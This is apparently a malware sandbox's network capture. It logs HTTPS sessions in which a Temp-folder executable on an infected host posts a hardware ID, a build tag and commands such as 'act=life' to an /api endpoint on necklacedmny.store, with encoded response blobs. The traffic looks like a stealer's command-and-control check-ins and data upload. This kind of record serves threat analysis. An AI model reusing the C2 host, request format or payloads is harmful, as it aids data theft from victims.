2024-11-01 11:15:07 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7obm2bt4bm819cuqa7dha61bm5; expires=Tue, 25-Feb-2025 05:01:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dbnFsb1fQIhgfP%2Fm0PxZd%2Bs2OeJaF0XgtQZKsuR5KQ%2FB5iwV%2B%2Bc3cB9HWii5%2B97EaSEklhMxFg9vNmmieoM44h8cbzvgNbwOmvXdE0tkeBNBYcyYdaNILuBqb7J0DOAhwc8kthc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb770e8b4ecb76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1371&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2219157&cwnd=252&unsent_bytes=0&cid=c8d2ad055ee27b1a&ts=490&x=0"
2024-11-01 11:15:07 UTC	350	IN	Data Raw: 63 63 31 0d 0a 65 4e 2b 6c 49 6f 52 30 49 48 4f 33 34 6a 5a 5a 52 55 43 71 34 69 6a 77 67 37 65 35 35 34 55 42 4d 7a 57 66 49 4e 52 77 74 79 63 44 2f 64 4d 41 76 6b 41 4d 55 63 53 48 46 47 4d 78 4d 74 2b 48 42 4e 4c 69 30 35 76 64 34 32 42 66 52 76 6f 4d 39 67 62 61 42 55 4b 35 78 45 37 33 45 51 78 52 30 70 6f 55 59 78 34 37 69 49 64 47 30 72 6d 56 33 49 33 6e 59 46 39 58 2f 6b 75 37 41 4e 74 45 45 4c 50 43 53 75 45 58 52 42 4c 62 6a 31 4d 38 49 43 48 41 6a 45 47 64 36 39 71 62 79 36 64 6b 53 52 65 6c 41 70 6b 56 77 30 59 31 76 74 5a 4a 70 67 6b 4d 43 4a 57 48 57 48 74 2f 59 73 75 48 53 70 7a 6c 30 39 4b 50 37 57 6c 58 56 76 74 4b 70 42 6e 52 54 78 43 39 77 55 76 72 48 6c 41 66 30 59 68 59 4f 69 6f 68 69 4d 34 4b 6c 66 6d 56 67 38 57 30 55 56 4a 47 37 46 Data Ascii: cc1eN+lIoR0IHO34jZZRUCq4ijwg7e554UBMzWfINRwtycD/dMAvkAMUcSHFGMxMt+HBNLi05vd42BfRvoM9gbaBUK5xE73EQxR0poUYx47iIdG0rmV3I3nYF9X/ku7ANtEELPCSuEXRBLbj1M8ICHAjEGd69qby6dkSRelApkVw0Y1vtZJpgkMCJWHWHt/YsuHSpzl09KP7WlXVvtKpBnRTxC9wUvrHlAf0YhYOiohiM4KlfmVg8W0UVJG7F
2024-11-01 11:15:07 UTC	1369	IN	Data Raw: 55 37 6e 47 30 49 44 33 59 74 66 50 6a 55 70 77 59 31 48 6b 75 7a 66 31 49 62 6e 5a 46 74 64 38 6b 69 79 48 39 68 44 47 72 32 48 44 71 59 52 57 6c 47 4e 77 48 63 2b 4e 79 58 45 6c 67 69 6f 6f 63 71 56 6e 4b 64 6b 58 52 65 6c 41 72 34 58 31 6b 59 52 73 73 52 49 37 51 52 43 41 39 4f 4e 55 53 6b 68 4a 38 61 4b 53 59 44 72 32 39 32 47 37 6d 68 59 55 76 70 47 39 6c 79 56 51 67 4c 39 6e 77 44 48 47 30 6b 64 33 35 64 55 65 7a 68 73 30 63 42 4e 6e 71 47 4e 6d 34 48 6d 5a 31 42 54 38 30 79 79 48 74 4e 4c 46 37 4c 42 53 75 59 52 53 42 6e 64 67 56 6b 77 4b 43 4c 4e 6a 55 36 55 37 64 54 65 78 61 6b 6a 56 6b 2b 39 47 76 59 38 30 6b 59 49 2f 2f 4a 44 36 42 68 46 42 35 57 66 47 69 4a 6e 4a 63 54 41 45 74 4c 76 30 4e 53 58 35 6e 46 55 57 65 39 4f 73 78 54 59 52 68 53 39 Data Ascii: U7nG0ID3YtfPjUpwY1Hkuzf1IbnZFtd8kiyH9hDGr2HDqYRWlGNwHc+NyXElgioocqVnKdkXRelAr4X1kYRssRI7QRCA9ONUSkhJ8aKSYDr292G7mhYUvpG9lyVQgL9nwDHG0kd35dUezhs0cBNnqGNm4HmZ1BT80yyHtNLF7LBSuYRSBndgVkwKCLNjU6U7dTexakjVk+9GvY80kYI//JD6BhFB5WfGiJnJcTAEtLv0NSX5nFUWe9OsxTYRhS9
2024-11-01 11:15:07 UTC	1369	IN	Data Raw: 68 46 42 35 57 66 47 69 4a 6e 4a 63 54 41 45 74 4c 74 33 4e 75 4f 37 57 64 52 55 50 42 48 74 52 58 57 53 42 32 33 79 55 66 69 47 6b 73 63 30 34 42 54 50 79 49 77 7a 59 6c 47 6e 71 47 62 6d 34 4c 2f 49 77 6b 58 30 6b 57 67 45 66 70 47 43 37 53 48 58 36 67 50 41 68 62 5a 77 41 78 37 49 43 66 41 69 30 79 61 34 63 66 65 69 2b 78 69 57 31 48 38 54 37 6f 55 31 55 51 61 75 38 74 41 34 52 46 51 41 39 43 47 52 6a 46 6e 62 49 69 48 55 74 4b 35 6c 65 32 56 38 48 4a 48 46 63 68 42 75 42 7a 53 55 31 71 69 69 56 6d 6d 45 55 35 52 6a 63 42 66 4f 79 73 6c 77 49 5a 4f 6d 75 37 61 30 70 66 6d 62 31 39 46 2b 6b 4b 2f 48 4e 70 4a 45 37 44 41 54 65 30 63 54 78 58 53 67 52 52 31 5a 79 58 51 77 42 4c 53 31 38 58 57 69 63 6c 6f 58 56 36 39 58 66 67 4c 6c 55 49 57 2f 5a 38 41 34 Data Ascii: hFB5WfGiJnJcTAEtLt3NuO7WdRUPBHtRXWSB23yUfiGksc04BTPyIwzYlGnqGbm4L/IwkX0kWgEfpGC7SHX6gPAhbZwAx7ICfAi0ya4cfei+xiW1H8T7oU1UQau8tA4RFQA9CGRjFnbIiHUtK5le2V8HJHFchBuBzSU1qiiVmmEU5RjcBfOyslwIZOmu7a0pfmb19F+kK/HNpJE7DATe0cTxXSgRR1ZyXQwBLS18XWicloXV69XfgLlUIW/Z8A4
2024-11-01 11:15:07 UTC	184	IN	Data Raw: 55 68 46 45 2b 49 79 58 4d 68 6b 58 53 72 35 58 63 6e 61 63 37 45 58 6a 61 64 2f 51 7a 37 77 55 46 38 39 34 41 34 52 6f 43 53 5a 57 4d 56 7a 63 76 4c 63 36 4a 52 70 6a 6f 33 74 65 4f 34 32 39 59 55 76 74 44 73 78 66 55 51 52 61 33 77 55 50 6c 47 55 30 65 33 63 41 61 65 79 41 36 69 4e 67 4b 74 2f 62 65 31 59 4f 6e 66 42 39 4f 76 55 57 36 55 6f 30 46 46 72 54 42 52 75 4d 61 51 78 66 64 68 56 77 2f 4a 69 54 4f 67 30 57 57 35 4e 54 55 67 65 74 74 57 31 62 38 54 72 30 64 33 6b 42 61 38 34 64 48 2f 6c 59 61 55 65 53 44 51 69 77 33 4c 6f 69 66 42 0d 0a Data Ascii: UhFE+IyXMhkXSr5Xcnac7EXjad/Qz7wUF894A4RoCSZWMVzcvLc6JRpjo3teO429YUvtDsxfUQRa3wUPlGU0e3cAaeyA6iNgKt/be1YOnfB9OvUW6Uo0FFrTBRuMaQxfdhVw/JiTOg0WW5NTUgettW1b8Tr0d3kBa84dH/lYaUeSDQiw3LoifB
2024-11-01 11:15:07 UTC	1369	IN	Data Raw: 33 37 61 62 0d 0a 49 75 68 30 74 66 46 76 79 4e 51 52 66 64 49 75 42 66 61 51 42 6d 79 77 45 33 67 47 6b 67 59 33 59 5a 62 4d 6a 55 68 78 49 35 4e 6e 4f 33 62 31 6f 2f 6b 62 68 45 5a 76 55 57 75 55 6f 30 46 4e 72 72 4b 62 75 30 61 52 56 48 4b 7a 6b 31 37 49 43 36 49 32 41 71 65 36 39 6e 53 68 65 35 6d 57 56 7a 30 52 37 63 5a 30 45 59 63 73 4d 68 4a 39 42 78 42 48 39 61 4d 57 44 30 6d 49 64 71 49 51 39 4b 76 6c 64 79 64 70 7a 73 52 64 76 4e 50 6f 68 58 46 42 51 58 7a 33 67 44 68 47 67 4a 4a 6c 59 4e 56 4e 43 51 6a 78 59 5a 44 6d 75 48 54 33 6f 72 71 62 56 5a 51 2f 55 2b 34 48 64 4e 4e 46 37 48 4d 54 75 38 51 51 68 44 66 77 42 70 37 49 44 71 49 32 41 71 69 34 74 58 62 6e 71 64 38 48 30 36 39 52 62 70 53 6a 51 55 49 74 38 35 41 35 52 6c 46 46 64 36 4d 55 54 Data Ascii: 37abIuh0tfFvyNQRfdIuBfaQBmywE3gGkgY3YZbMjUhxI5NnO3b1o/kbhEZvUWuUo0FNrrKbu0aRVHKzk17IC6I2Aqe69nShe5mWVz0R7cZ0EYcsMhJ9BxBH9aMWD0mIdqIQ9KvldydpzsRdvNPohXFBQXz3gDhGgJJlYNVNCQjxYZDmuHT3orqbVZQ/U+4HdNNF7HMTu8QQhDfwBp7IDqI2Aqi4tXbnqd8H069RbpSjQUIt85A5RlFFd6MUT
2024-11-01 11:15:07 UTC	1369	IN	Data Raw: 77 46 58 63 2b 4a 58 63 69 61 63 37 45 56 62 78 54 62 55 64 31 6b 59 62 74 39 56 53 36 68 39 4b 46 4e 6d 4c 57 6a 30 31 4a 4d 65 4a 53 5a 48 6f 30 74 4f 4a 37 57 42 57 46 37 4d 43 73 51 71 56 48 56 71 65 30 46 44 72 56 6c 31 66 7a 4d 42 54 4e 32 64 36 69 49 68 48 6d 75 76 52 33 49 6a 67 5a 56 68 46 39 45 65 34 45 74 46 4f 46 62 76 44 51 2b 59 45 52 42 58 64 67 31 6b 32 4b 53 48 4d 77 41 54 53 35 73 32 62 33 61 64 52 58 46 6e 6d 54 62 45 44 33 77 55 46 38 39 34 41 34 52 6f 43 53 5a 57 45 57 69 6b 73 49 38 4f 4c 52 4a 58 75 30 4e 47 46 36 47 64 53 57 66 5a 44 74 52 72 59 53 42 53 33 7a 6b 6e 68 47 6b 59 57 6c 63 34 55 50 44 39 69 6b 4d 42 68 73 38 7a 35 33 4a 2b 6e 66 42 39 4f 76 55 57 36 55 6f 30 46 46 72 54 4c 53 75 30 52 53 42 2f 63 6a 6c 38 70 4e 53 48 Data Ascii: wFXc+JXciac7EVbxTbUd1kYbt9VS6h9KFNmLWj01JMeJSZHo0tOJ7WBWF7MCsQqVHVqe0FDrVl1fzMBTN2d6iIhHmuvR3IjgZVhF9Ee4EtFOFbvDQ+YERBXdg1k2KSHMwATS5s2b3adRXFnmTbED3wUF894A4RoCSZWEWiksI8OLRJXu0NGF6GdSWfZDtRrYSBS3zknhGkYWlc4UPD9ikMBhs8z53J+nfB9OvUW6Uo0FFrTLSu0RSB/cjl8pNSH
2024-11-01 11:15:07 UTC	1369	IN	Data Raw: 75 58 54 30 6f 50 6b 5a 78 45 5a 76 55 57 75 55 6f 30 46 4e 37 48 41 61 65 45 4e 41 67 36 62 6d 52 51 38 4b 32 4b 51 77 45 75 5a 36 39 72 57 68 75 46 67 57 6c 4c 33 51 37 45 61 32 46 63 5a 73 73 68 45 35 68 6c 45 46 39 53 50 55 6a 77 75 49 38 43 48 43 74 79 68 30 73 50 46 76 79 4e 2f 55 50 35 47 39 67 32 62 58 46 71 36 79 77 43 2b 56 6b 49 62 33 34 70 61 4f 79 41 77 7a 6f 6c 4b 6b 66 50 57 33 59 33 68 62 31 31 61 39 55 75 32 46 39 35 49 45 62 44 42 51 4f 30 58 41 6c 2b 56 68 30 78 37 66 32 4c 35 6a 55 53 57 37 39 62 4c 67 71 64 38 48 30 36 39 52 62 70 53 6a 51 55 56 74 4e 56 48 34 78 35 4c 45 64 75 4a 58 54 77 6a 49 63 6d 45 52 70 33 6f 31 74 4f 45 37 32 78 53 56 2f 5a 4b 76 42 50 62 51 46 72 7a 68 30 66 2b 56 68 70 52 2b 6f 4e 52 4d 43 5a 67 37 34 5a 4e Data Ascii: uXT0oPkZxEZvUWuUo0FN7HAaeENAg6bmRQ8K2KQwEuZ69rWhuFgWlL3Q7Ea2FcZsshE5hlEF9SPUjwuI8CHCtyh0sPFvyN/UP5G9g2bXFq6ywC+VkIb34paOyAwzolKkfPW3Y3hb11a9Uu2F95IEbDBQO0XAl+Vh0x7f2L5jUSW79bLgqd8H069RbpSjQUVtNVH4x5LEduJXTwjIcmERp3o1tOE72xSV/ZKvBPbQFrzh0f+VhpR+oNRMCZg74ZN
2024-11-01 11:15:07 UTC	1369	IN	Data Raw: 50 46 76 79 4e 6b 56 50 4e 4d 73 51 54 45 43 44 32 6e 79 6b 62 78 42 77 4a 66 6c 59 59 55 59 33 64 73 69 49 52 62 30 72 6d 46 69 64 36 79 4d 41 59 48 72 31 33 34 43 35 56 54 57 75 57 56 44 71 59 45 41 6b 6d 56 78 31 63 70 4e 53 54 4c 6c 6b 6e 56 33 2b 76 31 67 75 46 6d 56 6b 65 2f 62 4c 30 47 30 67 56 55 2f 63 67 41 76 69 38 43 57 5a 57 2f 47 6e 73 2f 59 70 44 41 66 35 48 76 32 39 79 54 39 69 35 2f 55 50 74 48 73 51 4b 58 61 78 47 70 77 41 43 6f 56 6b 52 52 6a 64 41 61 65 79 4d 7a 69 4e 67 61 77 4c 71 41 69 4e 4b 33 4d 55 34 5a 35 41 4b 67 55 6f 30 58 56 50 33 56 41 4c 35 57 42 52 4c 48 6b 6c 49 34 4d 53 47 50 76 6e 53 52 39 39 6a 55 6a 75 5a 64 62 33 6e 77 51 37 55 63 6c 33 51 4d 73 4e 64 44 34 78 46 38 4c 39 75 48 51 44 77 70 4a 4d 6a 41 42 4e 4c 75 6c Data Ascii: PFvyNkVPNMsQTECD2nykbxBwJflYYUY3dsiIRb0rmFid6yMAYHr134C5VTWuWVDqYEAkmVx1cpNSTLlknV3+v1guFmVke/bL0G0gVU/cgAvi8CWZW/Gns/YpDAf5Hv29yT9i5/UPtHsQKXaxGpwACoVkRRjdAaeyMziNgawLqAiNK3MU4Z5AKgUo0XVP3VAL5WBRLHklI4MSGPvnSR99jUjuZdb3nwQ7Ucl3QMsNdD4xF8L9uHQDwpJMjABNLul
2024-11-01 11:15:07 UTC	1369	IN	Data Raw: 6a 56 55 61 39 47 75 5a 41 6a 68 42 4a 36 70 63 53 2b 56 68 62 55 63 50 41 44 47 6c 70 59 74 72 41 45 74 4b 6d 31 73 6d 58 34 57 42 48 56 4c 70 38 69 44 58 62 51 68 75 72 31 30 33 71 4e 30 45 41 33 37 35 71 4c 69 51 73 78 6f 64 63 67 36 47 62 6d 34 71 6e 4f 32 67 58 74 51 4b 4a 58 4a 56 64 57 75 57 48 64 65 55 59 54 42 62 44 6b 52 6b 63 4b 53 58 4a 6c 6c 71 66 37 66 54 59 6c 4f 30 6a 48 78 66 37 41 75 35 41 6d 77 55 65 72 49 63 59 74 6b 51 5a 52 49 62 58 42 47 6b 34 62 4e 48 41 58 4e 4b 35 68 35 58 46 39 53 4d 4a 46 37 70 42 70 41 44 54 52 67 79 2b 67 48 37 59 4d 31 55 53 78 59 5a 58 42 52 6b 4a 78 49 5a 4e 69 4f 62 54 2f 61 57 6e 4c 52 46 59 76 52 71 50 55 70 30 46 4a 66 4f 48 57 4b 5a 4f 41 69 54 57 6a 6c 6f 38 4d 54 4f 46 70 56 32 52 38 64 50 59 78 61 Data Ascii: jVUa9GuZAjhBJ6pcS+VhbUcPADGlpYtrAEtKm1smX4WBHVLp8iDXbQhur103qN0EA375qLiQsxodcg6Gbm4qnO2gXtQKJXJVdWuWHdeUYTBbDkRkcKSXJllqf7fTYlO0jHxf7Au5AmwUerIcYtkQZRIbXBGk4bNHAXNK5h5XF9SMJF7pBpADTRgy+gH7YM1USxYZXBRkJxIZNiObT/aWnLRFYvRqPUp0FJfOHWKZOAiTWjlo8MTOFpV2R8dPYxa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50026	188.114.97.3	443	8108	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-11-01 11:15:09 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:15:10 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mnjdc3e2f6sloeuvfeqe23823c; expires=Tue, 25-Feb-2025 05:01:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rSlPW9IjvEW5cU6c0CnXDczdCnb%2Fwsfsj%2BhSECX1ThHQk%2FL7HUVRi0%2BQxoFqm4Npm1E9dlMH4lsMZkfGfaCfgaoKyu4ObHaQLzGz05nUpO5DUlcOyv5fAImPoR91GlfKaGVWwiY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb77215bac2e6c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1367&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=1955435&cwnd=233&unsent_bytes=0&cid=540ca18c5a5e17e7&ts=522&x=0"
2024-11-01 11:15:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:15:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	50030	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 11:15:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 11:15:41 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=00t11tl47r4fj0ck71263822i2; expires=Tue, 25-Feb-2025 05:02:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SBJoVxnyS8IlS6F4hmGjqa80lUUHYB5fTxBlc%2BMhhifxES44whbaQ77ixqfFHJH3iFiDqKhCg4K%2Fui84kt8w%2BU2NVxtEAGQbQYRSC2fnUTlX2hIBVFo1v46i%2B383SqRHIlSJqs0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb77e579058d29-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1285&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2175807&cwnd=251&unsent_bytes=0&cid=89033e56a8ed2888&ts=511&x=0"
2024-11-01 11:15:41 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 11:15:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	50031	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:47 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 11:15:47 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 11:15:47 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2mk10v6103757ttaja2g2cqbnm; expires=Tue, 25-Feb-2025 05:02:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FtuS2ILUc52l12IVqpHAEh1MVjfodk94grjCmTb%2F1u%2BOaZ1svcWTbYSi1eLZclv0q%2F78t79rRrw%2FPMjop5c%2F%2FN%2BWFdbriSZWdlM%2FlpmmFGvbZguozp47lrTu8nUo5KSLU9euEnU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb780d0a016b6b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1161&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2509532&cwnd=251&unsent_bytes=0&cid=b29a9ef4b6bfcf05&ts=516&x=0"
2024-11-01 11:15:47 UTC	346	IN	Data Raw: 31 64 37 63 0d 0a 58 6f 65 31 66 73 50 2f 36 50 4a 54 30 6f 68 77 4d 63 6e 4d 62 74 44 42 73 37 64 6b 45 65 58 57 61 70 39 39 54 71 43 41 45 5a 67 6c 70 63 4e 63 2b 63 76 45 30 43 43 33 71 6b 70 46 75 37 6b 4c 2f 4f 50 53 30 30 59 72 67 37 63 47 37 42 68 69 67 76 5a 38 75 6d 54 68 31 42 4b 77 6d 73 54 51 4e 71 71 71 53 6d 71 79 37 67 75 2b 34 34 6d 56 41 58 75 48 74 77 62 39 48 43 58 50 38 48 33 37 4e 75 76 53 46 71 61 63 6a 4a 4d 2f 76 2b 30 56 56 4b 69 6d 41 4c 6d 73 32 39 70 47 50 63 65 7a 45 4c 31 48 62 4f 33 6c 5a 66 6b 54 35 73 59 56 34 59 4c 45 69 58 47 33 35 6c 49 4c 36 36 30 4c 73 71 33 56 30 77 39 35 6a 62 34 4f 2f 42 6b 6b 30 4f 6c 33 38 44 62 6c 30 52 65 73 6c 5a 69 65 4e 62 6a 6d 45 31 36 6f 37 6b 4c 79 70 4d 6d 56 58 6a 50 55 68 67 76 73 44 Data Ascii: 1d7cXoe1fsP/6PJT0ohwMcnMbtDBs7dkEeXWap99TqCAEZglpcNc+cvE0CC3qkpFu7kL/OPS00Yrg7cG7BhigvZ8umTh1BKwmsTQNqqqSmqy7gu+44mVAXuHtwb9HCXP8H37NuvSFqacjJM/v+0VVKimALms29pGPcezEL1HbO3lZfkT5sYV4YLEiXG35lIL660Lsq3V0w95jb4O/Bkk0Ol38Dbl0ReslZieNbjmE16o7kLypMmVXjPUhgvsD
2024-11-01 11:15:47 UTC	1369	IN	Data Raw: 75 6d 53 6c 30 52 4b 67 6b 49 71 43 4f 62 76 68 46 30 47 67 70 77 47 2f 6f 39 7a 66 43 58 43 48 73 77 4c 33 45 43 62 47 37 33 37 38 50 4f 57 58 55 75 47 61 6b 74 42 70 38 4d 6b 58 51 36 79 69 47 76 43 5a 6b 63 70 49 61 73 65 7a 42 4c 31 48 62 4d 72 6e 63 50 6b 33 36 74 51 55 71 6f 2b 4b 67 6a 65 39 37 77 42 56 72 71 41 47 73 62 48 62 32 77 42 77 6a 72 38 42 2b 42 67 6f 67 71 77 7a 2f 53 53 6c 6a 31 79 41 6b 49 47 63 4f 36 66 71 55 6b 7a 6c 74 30 79 31 72 35 47 4e 52 6e 65 47 73 41 6e 35 45 53 4c 47 37 6e 58 30 4d 65 72 52 46 71 47 61 67 4a 67 35 73 65 63 5a 58 4b 75 72 41 62 61 6c 33 64 51 44 4d 38 6e 30 44 2b 56 66 64 49 4c 4d 64 50 6b 75 70 2b 49 66 72 35 4f 4e 68 6e 47 76 70 41 73 54 72 4b 4a 4d 36 75 50 66 30 41 6c 68 68 71 59 4e 38 77 30 67 78 2b 52 Data Ascii: umSl0RKgkIqCObvhF0GgpwG/o9zfCXCHswL3ECbG7378POWXUuGaktBp8MkXQ6yiGvCZkcpIasezBL1HbMrncPk36tQUqo+Kgje97wBVrqAGsbHb2wBwjr8B+Bgogqwz/SSlj1yAkIGcO6fqUkzlt0y1r5GNRneGsAn5ESLG7nX0MerRFqGagJg5secZXKurAbal3dQDM8n0D+VfdILMdPkup+Ifr5ONhnGvpAsTrKJM6uPf0AlhhqYN8w0gx+R
2024-11-01 11:15:47 UTC	1369	IN	Data Raw: 2b 49 66 72 35 4f 4e 68 6e 47 76 70 41 73 54 72 4b 4a 4d 36 75 50 64 33 41 5a 34 6a 62 41 49 2b 68 49 70 77 65 56 77 39 7a 76 76 32 52 75 6c 6b 59 4f 64 4e 37 44 74 46 6c 61 35 71 77 57 2b 72 35 47 62 52 6e 53 66 39 46 43 39 4d 43 76 55 34 56 7a 35 4c 65 79 58 41 2b 2b 45 79 70 63 39 38 4c 4a 53 56 4b 36 6d 42 37 53 72 30 63 63 44 66 59 79 31 41 76 73 65 49 63 37 6b 63 2f 73 38 34 39 73 63 70 70 71 59 67 6a 53 32 2b 42 67 54 35 65 34 4c 71 75 4f 4a 6c 54 42 6a 6b 4b 55 65 76 79 6f 76 7a 4f 78 30 37 48 7a 36 6d 51 58 68 6d 6f 62 51 61 66 44 68 45 6c 2b 73 70 67 71 32 71 39 37 61 44 32 47 47 75 41 62 76 47 43 7a 4c 37 48 7a 32 4e 65 6a 51 45 61 71 58 68 35 51 32 73 61 70 63 45 36 79 32 54 4f 72 6a 35 38 55 4c 66 36 6d 2f 42 50 52 66 4d 34 7a 37 4d 2f 30 77 Data Ascii: +Ifr5ONhnGvpAsTrKJM6uPd3AZ4jbAI+hIpweVw9zvv2RulkYOdN7DtFla5qwW+r5GbRnSf9FC9MCvU4Vz5LeyXA++Eypc98LJSVK6mB7Sr0ccDfYy1AvseIc7kc/s849scppqYgjS2+BgT5e4LquOJlTBjkKUevyovzOx07Hz6mQXhmobQafDhEl+spgq2q97aD2GGuAbvGCzL7Hz2NejQEaqXh5Q2sapcE6y2TOrj58ULf6m/BPRfM4z7M/0w
